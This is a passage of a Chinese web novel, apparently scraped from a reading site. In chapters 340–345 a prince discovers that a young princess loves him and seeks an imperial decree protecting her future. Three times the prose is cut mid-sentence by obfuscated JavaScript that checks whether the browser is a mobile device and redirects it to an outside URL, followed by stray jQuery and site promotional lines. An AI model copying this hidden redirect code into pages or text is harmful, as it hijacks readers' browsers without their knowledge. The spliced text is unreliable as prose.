饭后,谢翊宁磨磨蹭蹭,终于还是主动凑到了正在喝茶的崔皇后身边。
“母后。”他清了清嗓子,努力摆出一副正经八百探讨要事的模样。
“您可知晓这京城里头,有哪些……嗯,适龄未婚、家世清白、人品尚可的青年才俊?”
听到这话,崔皇后嘴里的茶差点没喷出来。
她放下茶盏,帕子按了按嘴角,声音都拔高了三分。
“你问这个做什么???”
她脑中瞬间闪过一个荒诞的念头,儿子难不成好男风?
谢翊宁被母后这过激的反应弄得有点懵,赶紧摆手解释:“母后您别误会!不是儿臣!是、是帮别人问的!”
“帮谁?”崔皇后眼眸微眯,审视的目光在他脸上扫了几个来回,心中已然有了几分猜测。
“是令嘉郡主,我的小恩人。”谢翊宁完全没察觉母后眼神里的深意,竹筒倒豆子般说了出来。
“她不是快及笄了么。她爹娘想给她相看人家,儿臣怕她遇人不淑,便想着母后您慧眼如炬,消息又灵通,定能帮她掌掌眼,挑几个靠谱的。”
他说得那叫一个理直气壮,情真意切。
“儿臣不是说过要报恩么。如今已经给了她权势、地位和银钱,就差给她挑一个好夫婿了。”
“这样她一辈子衣食无忧,夫妻琴瑟和鸣,儿臣也算对得起她了。”
崔皇后:“……”
她看着儿子那双清澈且透着点傻气的眼睛,一时竟不知该气还是该笑。
看着面前的傻儿子,一股看好戏的兴致油然而生。
她放下茶盏,脸上已然换上了一副慈爱又热心的笑容,仿佛刚才的震惊从未发生过。
“那孩子活泼伶俐,确实是个好姑娘,是该好好替她留意着。”
她顿了顿,眼波流转间,闪过一丝狡黠的精光。
“既然是你的小恩人,那此事母后责无旁贷。母后定会好好甄选,给她挑几个顶顶好的青年才俊,保管让她爹娘满意!”
谢翊宁听到这话,眉头微微皱紧。
“不行。”
第340章 王爷来提亲
这句不行让崔皇后小小的激动了一下。
难不成她这一刺激,让儿子开开窍了?
“什么不行?”她忍不住追问。
“只有她爹娘满意不行,还得她自己满意,儿臣也满意才行。”谢翊宁抿着唇,一脸严肃。
那可是他的小恩人,他不亲自替她把关,他不放心。
崔皇后:“……”
得,空欢喜了。
小石头还是之前那个傻儿子,一点也没变。
“本宫让云黛给你拿的话本子,你看了么?”
“没……”谢翊宁脱口而出。
看到母后的死亡凝视,他赶紧改口。
“没看多少,今晚回去一定连夜拜读。”
“嗯,去吧,好好看吧。令嘉郡主的婚事,本宫一定会好好放在心上的。”崔皇后悠然自得地又抿了一口茶。
她倒要看看,等真把那些青年才俊的名册画像摆到傻儿子面前时,他这心里头会是个什么滋味儿。
她已经开始期待自家这傻小子撞上南墙,幡然醒悟,然后急吼吼跑来求她“母后救命!”的那一天了。
*
谢翊宁回了王府。
想起答应母后的那些话,便硬着头皮把那些话本子拿了出来、
他随手打开了那本叫《红鸾星动时》的话本,看着看着,忽然看到了一个有些眼熟的场景。
话本子里,书生开口询问他心悦的姑娘:谢姑娘,你可有心仪之人?
等等,这话怎么有点耳熟???
这时,侍立在一旁的照夜忽然往前踏了一步,抱拳躬身,声音绷得有点紧:“王爷,属下有一事相求。”
“嗯?”谢翊宁闻言合上了书页,抬眼看向他。
“何事?直说便是,跟本王还兜什么圈子。”
他顺手将话本子往旁边小几上一丢。
照夜深吸一口气,像是下定了某种决心。
这事在他心里头已经翻来覆去琢磨两天了。
他觉着,衔蝉姑娘话里的意思约莫是应允了他,只是她忠心为主,不想早早离了郡主身边。
他转念一想:自家王爷对令嘉郡主的心思,只要没瞎都能看出来,王爷迟早是要把人娶进门的!
到时候,衔蝉作为郡主的贴身大丫鬟,自然也是跟着陪嫁过来。
他娶了衔蝉,既成全了自己,也不耽误衔蝉继续留在郡主身边,简直两全其美。
想通了这关窍,照夜觉得这事儿非求王爷帮忙不可了。
王爷出面,体面又稳妥,郡主一定不会拒绝。
于是,他深吸一口气,努力维持着冷静,但耳根却不受控制地泛起一丝可疑的红晕,声音也比平时低了几分:
“回王爷,属下有心仪的姑娘了。想、想请王爷开个金口,替属下……去提个亲。”
“哦?提亲啊……嗯?!提亲?!!”
谢翊宁原本还懒洋洋地靠着椅背,前半句听得随意,后半句直接把他惊得从椅子上弹了起来。
他记得上一世他没有成婚,身边的几个侍卫也没有成家。
照夜也从未透露过他有心仪的姑娘。
重活一世,照夜竟然铁树开花,要娶妻了么?
他绕着瞬间站得更笔直的照夜走了两圈,像是第一次认识自己这个贴身侍卫,语气里充满了惊奇和毫不掩饰的兴奋。
“好你个照夜!不声不响的,居然连媳妇儿都看好了?快说快说!是哪家的好姑娘?能入得了你的眼?”
照夜被自家王爷这过分热情的目光盯得头皮发麻,感觉自己像是被架在火上烤。
他艰难地维持着镇定,有些羞涩地开口:“回王爷……是……是令嘉郡主身边的大丫鬟,衔蝉姑娘。”
“嗯?衔蝉?”谢翊宁愣了。
那不是王府出去的丫鬟么。
“是。属下心悦衔蝉姑娘已久。”照夜坚定地回答。
见状,谢翊宁痛快地答应了下来。
“本王知道了。明日,我便亲自去一趟摘星山庄,替你和令嘉郡主提这事。”
正好,他还有事要和她说。
*
翌日。
棠云婋正在每日的晨练,就瞧见双鲤跑了过来。
“郡主,王爷来了,但是被夫人拦住了。”
棠云
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157082|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
婋有些疑惑。
阿娘拦住王爷做什么?
阿娘不会想替她出气吧。
棠云婋吓了一跳。
她还不想让阿娘直接把她的心思告诉王爷啊。
按照衔蝉给她说的那些过往经验来看,永安王可逼不得。
越逼他做什么,他就越不想做什么,主打的就是一个叛逆。
万一王爷还不喜欢她,阿娘直接说出来,不就把人吓跑了么。
她急匆匆地换了身衣裳,去了花厅。
没想到见到的却是两人相谈甚欢的场景。
“见过王爷。”棠云婋心头一跳,赶忙福身行礼。
她走到娘亲身边,亲昵地挽住方青鸾的胳膊,故作轻松地问:“阿娘,您在和王爷说什么呢?”
方青鸾的眼神在两个孩子当中来回扫视了一眼,而后故意慢悠悠地开口:“王爷今日来啊,是来提亲的。”
“提、提亲?!”
棠云婋挽着母亲的手都不自觉地收紧了。
她猛地抬头看向谢翊宁,眼里盛满了难以置信的震惊和一丝连她自己都未曾察觉的的慌乱。
提亲?
他来向谁提亲?
昨天不是还没有心仪的姑娘么?
今日怎么就来提亲了?
难道是阿娘和他说了什么?
谢翊宁被方青鸾那句“提亲”说得心头狂跳。
棠夫人这话说得怎么好像他本人亲自来提亲了一样。
他正绞尽脑汁想着怎么把“替侍卫提亲”这事儿说得体面又自然,结果一抬眼,就撞上了棠云婋那双亮得惊人的眸子。
看着她泛红的耳朵。
谢翊宁瞬间反应了过来。
完了完了!
这下误会大了!
眼看棠云婋脸颊绯红,谢翊宁只觉得一股热气直冲头顶,耳朵根也“腾”地一下红透了。
他猛地想起了昨夜母后让他看的那个话本子。
话本子里,那书生询问心悦之人是否有心仪的人,是在试探她……
那昨日,小恩人问他是否有心仪之人,是不是也在试探他?
所以……小恩人心悦于他?
第341章 亦心悦于她
想到这,他“噌”地从椅子上弹了起来,动作大得差点带翻旁边的茶盏,整个人慌得手足无措,连连摆手,舌头像是打了结:
“不不不!不是……误会了……”他声音都拔高了好几度,带着显而易见的慌乱。
“本王此番为照夜而来。”
他语速飞快。
“照夜对衔蝉姑娘倾心已久,又担心自己言行莽撞,唐突佳人,故而向本王求助,恳请夫人与郡主玉成其事。”
棠云婋这才后知后觉的反应了过来,是她想多了。
王爷要提亲,也不该自己亲自来。
这于理不合。
她顿时觉得有些窘迫。
她松开了娘亲的胳膊,强迫自己冷静下来,淡定开口:“照夜是王爷身边得力的人,品性能力,女儿也是信得过的。此事便请阿娘做主吧。只要衔蝉自己愿意,女儿没有异议。”
方青鸾目光温和地转向一直安静侍立在棠云婋身后的衔蝉。
“衔蝉,这是你的终身大事,需得你自己点头才算圆满。你可愿意?”
被点名的衔蝉,一张俏脸早已红得像熟透的柿子。
她万万没想到,照夜的动作竟如此雷厉风行。
才说好了没两日,就把王爷这尊大佛给请来了。
感受到厅内所有人的目光都聚焦在自己身上,衔蝉只觉得脸上火烧火燎,心跳快得要从嗓子眼里蹦出来了。
一旁的双鲤比她还急。
“衔蝉姐姐,你说话呀。”
被她催了一下,衔蝉低头盯着自己绣鞋,小声道:“奴婢听凭夫人和郡主做主。”
“听凭做主”四个字,配上她那几乎要滴出血来的羞红脸颊,答案已是昭然若揭。
方青鸾了然一笑,看向了谢翊宁:“王爷您看,衔蝉这丫头是愿意的。”
“多谢夫人成全。”谢翊宁拱手道谢,目光却落在了棠云婋身上。
他脑子里乱糟糟的。
还惦记着先前的猜测。
小恩人……当真心悦于他?
而棠云婋已经冷静了下来,没有再露出任何害羞的模样。任凭谢翊宁怎么打量她,她都表现得和平常没有任何区别。
她不能那么快就让王爷知道她的意图。
免得把他吓跑了。
谢翊宁一颗心七上八下的。
他本想说正事,但脑海里全是这个问题让他根本不知道该怎么开口。
方青鸾看着永安王频频看向女儿的眼神,心里暗暗点头。
看来她刚刚那一招,还真走对了。
婋婋说永安王没有心上人,不喜欢她。
她才不信呢。
所以先前她故意把“提亲”一事说得模糊不清,点一点面前的呆头鹅。
提亲。
提的什么亲。
猜去吧,想去吧。
果不其然,让她赌对了。
那样的情境下,两人通红的脸,说明了一切。
只不过永安王和之前的婋婋一样,还没开窍,不明白什么是情什么是爱。
她放下茶盏,起身对着谢翊宁微微一福,语气自然又带着恰到好处的歉意:“王爷恕罪,前头管事刚来回禀,说是有事需得我亲自去核对定夺,耽搁不得。”
她说着,目光不经意地扫过女儿,语气一转,带着点温和的叮嘱。
“婋婋,王爷是贵客,你替阿娘好生招待着。”
方青鸾离开后,谢翊宁松了一口气。
他心里有好多话想问。
棠夫人在,总归是不太好问出口的。
见他一而再再而三地看着自己,棠云婋没忍住,问出了声:“王爷可还有什么事情要对我说?”
“我……”谢翊宁有些纠结。
要不要问呢。
万一是他自作多情,误会了呢?
直接问出来,会不会太唐突,太冒犯了?
如果小恩人心仪的另有其人……
这个念头刚冒出来,一股灼热又酸涩的无名火“腾”地一下直冲上谢翊宁的天灵盖,烧得他心口发闷,烦躁不堪。
他几乎是不受控制地脱口而出:“你可有心仪之人?”
棠云婋被他这突如其来的直接问得一怔。
她抬起眼帘,直直地望进他因急切而显得格外明亮的眸子里。
静默了片刻,她唇角似乎极细微地弯了一下,然后,缓缓地、清晰地点了点头。
“……还真有啊?!”
谢翊宁只觉得心口被什么东西狠狠撞了一下。
棠云婋心中那根弦,悄悄绷紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158290|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了几分,面上却依旧维持着不动声色的平静,甚至故意用一种理所当然的语气反问:
“王爷这话好奇怪。我马上就要及笄了,婚嫁之事亦是正理。有心仪之人……难道不是再正常不过之事么?”
她一边说着,一边捕捉着永安王脸上每一丝细微的变化。
她决定根据永安王的反应来决定要不要说实话。
就像当初领兵作战一样,她需要精准地判断敌方的虚实,才能决定下一步该怎么做。
是雷霆出击,还是暂避锋芒,抑或是诱敌深入。
都需要具体情况,具体分析。
棠云婋那句“再正常不过”的反问,直接让谢翊宁傻眼了。
她承认了!
她竟然真的有喜欢的人了!
谢翊宁根本控制不住自己,脱口而出:“那人是谁?”
问完又觉得自己这么问出来太急切,太不合时宜。
他用拳头掩唇轻咳两声:“本王只是……只是有些好奇,好奇什么人能得到你的青睐?”
棠云婋静静地望着他没说话。
谢翊宁被她盯得浑身不自在,强烈的窘迫感让他不得不绞尽脑汁想出些许借口来缓解此刻的尴尬。
“你、你可是本王的救命恩人。”
“昨日本王就说过了,你未来的夫婿,本王定要好好替你把关!绝不能让那些心思不纯的歪瓜裂枣蒙骗了你!定要选个真正配得上你、真心待你好的才行!”
他越说语气越笃定,仿佛真的是这个原因才着急。
棠云婋看着他强作镇定下难掩的焦躁,看着他紧握的拳头又松开,松开又握紧。
心底顿时有了猜测。
那点猜测让她原本发苦的心,像掉进蜜糖罐子似的,忽然甜了起来。
王爷在乎她的回答。
或许……
王爷亦心悦于她?
她没有直接回答谢翊宁的问题,唇角却勾起一抹极淡却意味深长的弧度。
“王爷不必担心,他不是什么歪瓜裂枣,他啊……”
她顿了顿,像是在回忆,又像是在斟酌词句。
这个长长的停顿,几乎让谢翊宁屏住了呼吸。
“他是天底下最好最好的人。”棠云婋莞尔一笑。
第342章 我不能娶她
谢翊宁听到这话,心沉入了谷底。
看来小恩人真的很喜欢那个人。
棠云婋迎上他焦灼的视线,翘起了唇角,继续道:“他那个人吧,有时很聪明,有时又……很笨。”
谢翊宁:“???”
这算什么评价?
这更让他摸不着头脑了!
他越听越急躁,忍不住追问道:“他究竟是谁?”
棠云婋没说话,只是静静地看着他。
谢翊宁心底那股急躁被她这反常的沉默搅得更加混乱。
对视的那一瞬间,一个荒谬至极却又无比清晰的念头,从脑海里冒了出来。
“天底下最好的人……”
好像之前小恩人有这么夸过他?
她刚刚的评价……
她此刻的眼神……
她看着的人……
是……他?!
谢翊宁不敢相信,结结巴巴道:“我、我啊?”
棠云婋笑意盈盈,点了点头。
谢翊宁像被踩了尾巴的猫,整个人几乎从椅子上弹起来。
他猛地转身,几乎是手脚并用,狼狈不堪地朝着门口冲去,步伐慌乱得差点被门槛绊倒。
他跑得飞快,身后仿佛有洪水猛兽在追赶一般,眨眼间就消失在门外,只留下一串慌乱的脚步声。
棠云婋:“……?”
她想过很永安王的很多反应。
但唯独没想过落荒而逃这一种。
她顿时有些茫然。
他这是被吓到了?
还是不知道怎么拒绝她,所以跑了?
得知永安王离开后,方青鸾找到了女儿,笑眯眯道:“如何?阿娘说得没错吧,他就是心悦于你而不自知。”
棠云婋摇了摇头。
方青鸾诧异地瞪大了眼睛。
不可能啊,她瞧着永安王看婋婋的眼神,和当年夫君看她时一模一样。
明明就是很喜欢啊,怎么会看错呢。
“究竟发生了什么事?”她忍不住追问。
棠云婋把先前发生的事情说了。
这下方青鸾也懵了。
她实在是搞不明白永安王是怎么想的了。
难不成贵人和他们普通人的想法是相反的?
她全猜错了?
她正欲安慰女儿,就听到女儿轻笑一声。
“无妨,我看得出来,他不讨厌我,那就还有机会。”
方青鸾愣了片刻,看着女儿眼中那抹不服输的光芒,仿佛看到了当年那个背着弓箭和柴刀,胆大包天追着熊瞎子跑的自己。
她畅快地笑了起来,重重一拍女儿的肩膀:“好!好孩子!有志气!不愧是我的女儿!”
*
谢翊宁从摘星山庄冲出来时慌张的模样把在外边蹲守的照夜吓了一跳。
不会吧,他的亲事不会出什么岔子了吧?
难不成郡主不愿意让衔蝉嫁给他?
他顿时急了。
“王爷,可是婚事有变?”
谢翊宁现在最听不得的就是“婚事”二字,他摆了摆手:“你的婚事没事。”
现在是他的婚事有事。
谢翊宁满脑子都是先进宫,让母后暂停寻找那些青年才俊,先不要给小恩人选夫婿。
“那……?”照夜更糊涂了。
那什么事能让王爷吓成这样。
“本王要入宫,见母后。”交代了一句话,谢翊宁便策马飞奔回城,一路风驰电掣,直闯未央宫。
“什么事这么着急啊?”崔皇后看到小儿子火急火燎赶来,吓了一跳。
谢翊宁也顾不上行礼,几步冲到崔皇后跟前,喘了口气,眼神灼灼地盯着她:“母后!昨日让您给令嘉郡主挑选的青年才俊,您挑好了么?”
崔皇后一看他这副从未有过的,近乎失态的紧张模样,再联想到他今日去了摘星山庄,瞬间了然。
哦?看来她这不开窍的小儿子,终于被逼到墙角了?
她眼眸里飞快掠过一丝促狭的笑意。
迎着谢翊宁焦急的目光,坏心眼地点了点头,拖长了调子:“挑~好~了~呀~~~”
谢翊宁顿时急得额上冒出的汗更多了:“母后,您、您先把册子收起来!缓一缓!”
“缓一缓?”崔皇后故作沉吟,欣赏着儿子难得一见的窘迫,觉得有趣极了。
她悠悠然唤道:“云黛。”
侍立一旁大宫女云黛忍着笑,立刻应声:“奴婢在。”
“去,把为令嘉郡主挑选的才俊名册……”崔皇后故意停顿了一下,满意地看着谢翊宁瞬间屏住呼吸的样子,才慢悠悠地把话说完。
“先收起来吧。”
谢翊宁这才猛地松了口气,仿佛卸下了千
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158291|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斤重担。
他抬眼对上母后那双了然一切带着浓浓戏谑的眼睛,这才意识到母后刚才那番作态,分明就是在逗他!
“母、后!你故意的!”谢翊宁眉毛一拧,气恼地看着崔皇后。”
“什么叫我故意的?”崔皇后挑眉,故作不解。
“昨日给令嘉郡主选婿一事可是你昨日亲口求我的,母后费心费力,精挑细选,还有错了?”
她语气无辜,眼底的笑意却几乎要溢出来。
谢翊宁被噎了一下,俊脸涨红,一时语塞。
“说说吧,发生什么事了,要不要母后给你们赐婚呀?”崔皇后看着儿子这副魂不守舍的样子,又是好笑又是心疼。
她掏出帕子,温柔地替他擦去额头上残留的汗珠。
“不用!”谢翊宁猛地摇头,动作大得差点撞上母后的手。
崔皇后收回手,眼眸里是真切的困惑:“怎么又不用了?你方才那般模样,分明就是喜欢人家姑娘,醋坛子都打翻了。”
“我、我……”谢翊宁语塞,好看的眉眼上掠过一丝茫然和挣扎。
他烦躁地抓了抓头发,似乎想理清自己混乱的思绪,最终颓然地趴在桌上,额头抵着冰凉的桌面,声音闷闷地传出来,带着点自暴自弃的意味:“……我不知道。”
崔皇后在他身边坐下,放柔了声音:“傻孩子,不知道什么?告诉母后。”
为了小儿媳妇,她拿出了前所未有的耐心。
谢翊宁依旧趴着,侧过头,只露出一只通红的耳朵和半张写满困惑的脸,声音低哑,带着自己都未曾察觉的惶惑:“我不知道……我那到底算不算真的喜欢她……”
崔皇后了然,看来症结在此。
“你告诉母后,若她嫁给旁人,你会高兴吗?”她循循善诱。
谢翊宁坐直了身子,摇了摇头。
他现在终于明白,之前替她挑夫婿时,每一个人他都看不顺眼是怎么一回事了。
他心悦她,所以不想她嫁给别人。
“那她嫁给你,你开心吗?”崔皇后又问。
谢翊宁没有犹豫,点头。
“傻孩子。”崔皇后叹了一口气。
“这还不足以说明你对她的心意么。”
“可是,我不能娶她……”谢翊宁垂下了眼眸。
第343章 那不是喜欢
“为何不能?”崔皇后柳眉倒竖。
“谁敢反对你娶她,自有母后替你撑腰。你只管高高兴兴,风风光光迎娶你心仪的姑娘便是。”
眼看小儿媳妇就要有着落,谁敢阻拦,她就跟谁急。
“不是这样的。”谢翊宁苦笑着摇了摇头。
“国师大人虽说儿臣的命格已改。可是母后,改了就一定能万无一失么?万一只是稍有松动呢?”
“万一等儿臣二十岁生辰一过,那劫数依旧落下,我撒手离去,那她怎么办?”
“她嫁给我便是永安王妃。新寡之身,困于王府深院。纵有千般万般荣华富贵,那也只是枷锁牢笼。”
他眼中浮现出棠云婋明媚张扬的笑脸。
想到她要独自一人被困在王府宫墙过上一辈子,他心里便涌起浓浓的不舍与愧疚。
“她才多大?难道要让她为我守一辈子?让她在最美好的年华里枯等一生?伤心一世?”
谢翊宁猛地攥紧拳头。
“母后,我不能那么自私。”
“喜欢一个人,不是这样的!”
他迫切地开口:“您还记得我小时候,太子哥哥送我的那只红嘴相思鸟么?”
崔皇后点了点头。
谢翊宁继续道:“那只鸟,我和哥哥都喜欢极了。可太子哥哥功课繁重,他自知无法悉心照料,纵然再喜欢,也还是将它让给了我养。”
“他说,纵使有下人照料,但唯有我是真心实意喜欢那只鸟。所以让那只鸟跟着我会更好,我们都会更开心。”
他扯了扯嘴角看向崔皇后。
“母后,喜欢有时候不是非要攥在手心里。喜欢是希望她好,是明知自己给不了周全,便不该去招惹,徒增她的伤心。”
这番沉重又有担当的剖白,像一记闷锤敲在崔皇后心上。
她明白,小儿子是真的长大了。
她看着小儿子眼中那深切的痛楚和对棠云婋未来的忧虑,心瞬间软得一塌糊涂,又酸又涩。
崔皇后伸出手,轻轻拍着他紧绷的脊背,声音柔和却带着不容置疑的坚定:“傻孩子,你何必钻牛角尖呢。”
“国师大人参悟天机,从未有过半分差错。他说你死劫已过,命格重塑,那便是板上钉钉、再无更改!”
她的语气斩钉截铁,语气里满是对国师的信任。
“什么万一?没有万一!母后不许你再胡思乱想这些!”
“你定会长命百岁,儿孙满堂。你会护着你的妻子,守着她,爱着她,与她白首偕老,共享这人间富贵与喜乐。”
“这才是你的命数!你听明白了吗?”
谢翊宁抿着唇点了点头,但脸上还是没有能浮现笑意。
他抬起头,认真地看向崔皇后:“母后,儿臣还有一个请求。”
“你说。”崔皇后心中微动,预感他要说的话分量不轻。
他一字一句道:“您和父皇能否给儿臣一道密旨?”
“密旨?”崔皇后有些疑惑地重复了一遍他的话。
“你要什么密旨?”
谢翊宁紧紧盯着母后,声音艰涩:“万一儿臣未能熬过此劫,先行一步。恳请父皇母后,以密旨为凭,放她离开王府,允她……”
说到这,他顿了顿,深吸一口气才能继续说下去。
“允她另嫁他人。王府之尊荣,皇室之约束,皆与她再无干系。”
话音落下,殿内一片死寂。
崔皇后脸上的从容瞬间凝固。
她难以置信地看着眼前的小儿子。
她想过他会担忧、会害怕、会退缩,却万万没想到,他会为心爱的姑娘考虑到这个地步。
“你说什么?!”
崔皇后的声音陡然拔高,带着一丝不易察觉的颤抖。
“你可知道你在说什么?”
“儿臣知道。”谢翊宁的声音异常平静。
“母后方才说国师从未出错,儿臣信。但儿臣不能拿她的一辈子去赌。”
“儿臣心悦于她,此心天地可鉴。正因如此,儿臣更要替她想好那最坏的可能。”
“将她困在永安王妃的空壳里,守着冰冷的牌位,耗尽大好年华,这非儿臣所愿。儿臣只愿她无论何时,皆得自在,皆享喜乐。”
“若儿臣不能给她,那便……放手让她去寻能给她的人。”
他的语气近乎哀求:“母后,这是儿臣唯一能为她求的后路。求您和父皇成全。”
崔皇后久久无言。
一股巨大的酸楚猛地冲上鼻尖,崔皇后的眼眶瞬间红了。
她贵为皇后,母仪天下,此刻却只想抱着她这傻得让人心肝疼的儿子痛哭一场。
他哪里不懂什么是喜欢?
他分明太懂了。
最终,崔皇后深深吸了一口气,强压下喉间的哽咽。
随后抬起手,带着万般沉重与怜惜,轻轻抚上谢翊宁低垂的头。
“……好。”
一个字,重逾千斤。
“母后答应你。”她闭上眼,再睁开时,眼眸中水光潋滟,却已是一片决然的慈爱。
“这道密旨母后会同你父皇言明,为你请来。除却谋逆大罪,允她自由来去,婚嫁自主。”
“只是到了那时,世上不能再有永安王妃,也不能再有令嘉郡主,她也不能呆在京城,你可明白?”
“儿臣明白。”谢翊宁点了点头。
从未有过王妃改嫁的先例,母后能答应他让小恩人隐姓埋名另嫁他人,已经是母后为他破的最大例,念着骨肉情深,网开一面了。
“多谢母后成全。”谢翊宁起身伏地,冲母后行了五体投地的大礼。
随后,崔皇后心疼地将小儿子搀扶了起来。
“那你先告诉母后,今日在摘星山庄,究竟发生什么事了?”
她猜测,今日定是发生了什么关键转折,才让这块顽石开了窍又慌了神。
提起这个,谢翊宁身体明显一僵。
他慢慢坐直身体,眼神却飘忽着不敢看母后,手指无意识地抠着桌沿的雕花。
他把先前发生的事情慢吞吞地说了出来。
崔皇后:“……”
来道雷把这傻儿子给劈了吧。
人家姑娘都表明心意了,她这傻儿子竟然落荒而逃了?
这让人家姑娘怎么想!
“你就这么跑了,不担心她误会你不喜欢她,然后另嫁他人?”崔皇后无奈地看着小儿子。
听到母后这话,谢翊宁顿时慌了神。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第344章 无比的后悔
“不会吧?”
嘴上这么说,但谢翊宁的心已经飞出了宫墙之外,恨不得现在就去找小恩人把事情说清楚。
但他又害怕自己现在去解释不清,还会惹得小恩人反感,一时间又顿住了脚步。
他可怜兮兮地看着母后,希望母后能给他支支招。
崔皇后轻笑一声,故意点了点桌子上的空茶杯,慢悠悠地:“哎呀,说了这半天话,本宫有些口渴呢。”
谢翊宁立刻弹起来,手脚麻利地给她续上茶,躬身双手捧过去:“母后请用茶。”
然后绕到崔皇后身后,力道适中地给她捏起肩膀来,语气又软又急:“母后救命啊~~~”
“您不是盼小儿媳妇盼了很久吗~~~”
“您就帮帮我吧,我现在该怎么办嘛~~~”
他此刻就是无比后悔。
当时怎么就跑了呢!
简直像个傻子似的。
现在好了吧,满脑子都是小恩人可能会生气、会误会、会……真的不理他了。
想到这,他捏肩的手都不自觉地停了,只巴巴地盯着崔皇后的后脑勺等主意。
崔皇后舒服地抿了口茶,享受够了儿子的殷勤,这才慢条斯理地放下杯子。
她侧过身,看着自家这个平时挺机灵,遇到心上人就犯傻的小儿子,眼里带着促狭的笑意,轻轻拍了拍他的手背:“慌什么。跑都跑了,现在冲回去更显得没章法。”
谢翊宁的心一下子提到了嗓子眼:“那怎么办?总得让她知道我不是讨厌她啊!我那只是太、太紧张了嘛。”
那会儿知道小恩人心悦之人是自己,他脑袋直接一片空白了。
崔皇后看着他这副情窦初开的毛头小子模样,忍不住笑了起来。
她拉过儿子的手,让他坐到自己边上。
“傻孩子,你当时跑了是失礼,可也未必全是坏事。”
“啊?”谢翊宁完全懵了,落荒而逃了还不是坏事?
崔皇后点点他额头:“至少说明你心里有她,在乎得紧,才会方寸大乱。这比那些油嘴滑舌、进退有度的公子哥儿,反倒显出几分真心来。”
谢翊宁眨眨眼,母后这话好像有点道理?
他急切地追问:“然后呢?母后,我应该怎么做?”
“然后?”崔皇后微微一笑。
“然后当然是找个机会,送上她喜欢的礼物,郑重地、体面地表明你的心意。总不能让人家姑娘家慢慢去猜。”
说到这个,她就忍不住笑出声。
能把人家小姑娘都逼到那份上了,她这傻儿子也真是够迟钝的。
谢翊宁若有所思地点了点头:“儿臣明白了。”
随后他理直气壮地冲崔皇后伸出手:“您之前催我成婚时,不是说给小儿媳妇准备了很多好东西么?您先支一些给我呗。”
崔皇后:“……”
臭小子,这就惦记上她库房里的好东西了?
“一边去。那是本宫给未来儿媳妇准备的,跟你有什么关系。要讨小姑娘欢心,你自己想办法去。”崔皇后没好气地拍了他的掌心一下。
谢翊宁被打了一下手也不缩,反而往前凑了凑,理由说得那叫一个冠冕堂皇。
“儿臣这不是不知道什么最合适,怕挑错了显得没诚意嘛。先从您这拿几样顶尖的,回头我对着王府库房里的东西翻找,心里也好有个谱嘛。”
崔皇后被他这套歪理噎得一时语塞,瞪着他那张写满了“母后最好了”和“我真的很急”的脸,又好气又好笑。
最终只能无奈地扶了扶额,败下阵来。
她朝侍立在一旁的大宫女云黛招招手:“罢了罢了,云黛,去开本宫的库房,将……”
她略一沉吟,既要显出心意,又不能一下子把压箱底的都给了这小子,还得是适合年轻姑娘的东西。
“将那个嵌了南珠的蝶恋花赤金累丝点翠步摇拿来。记着,是单独放在紫檀小盒里的那个。”
谢翊宁听完立刻狗腿地给崔皇后捶肩:“母后英明!就知道您疼我!”
崔皇后享受着他的殷勤,慢悠悠品了口茶,才继续吩咐:“还有前儿江南进贡来的软烟罗,给他拿几匹。那料子最是轻柔透气,暑天穿着舒服。小姑娘定然喜欢。”
云黛忍着笑,躬身应道:“是,奴婢这就去取。”
心想皇后娘娘嘴上嫌弃,这挑的可都是库房里顶顶好的东西了。
东西很快取来。
谢翊宁迫不及待地打开小盒一看,里边是一支精美的步摇。
赤金累丝缠绕出花枝,点翠的蝴蝶翅膀薄如蝉翼。底下坠着圆润光泽、大小如莲子般的南珠。
轻轻一动,珠光流转。
母后果然没糊弄他!
这东西一看就是姑娘家会喜欢的东西。
“多谢母后!”谢翊宁欢快地道谢。
随后他想起了一件重要的事情,立刻补充邀功。
“对了母后!儿臣一路上见识了不少新鲜玩意,特意命人从沧州带了几样顶好的东西回来,待会就让王府侍卫给您送过来。”
回京路过沧州时,他惦记着之前弄丢了给棠家人准备的金丝小枣,便让人重新去采买。
还顺便买了些别的沧州的特产,一块带回来,打算给父皇母后还有太子哥哥都送些。
买得有点多,今日清晨才到。
崔皇后眉梢微挑,来了点兴趣:“哦?都是些什么东西呀?竟然能让你这般夸赞?”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第345章 王爷又来了
谢翊宁献宝似的掰着手指开始数。
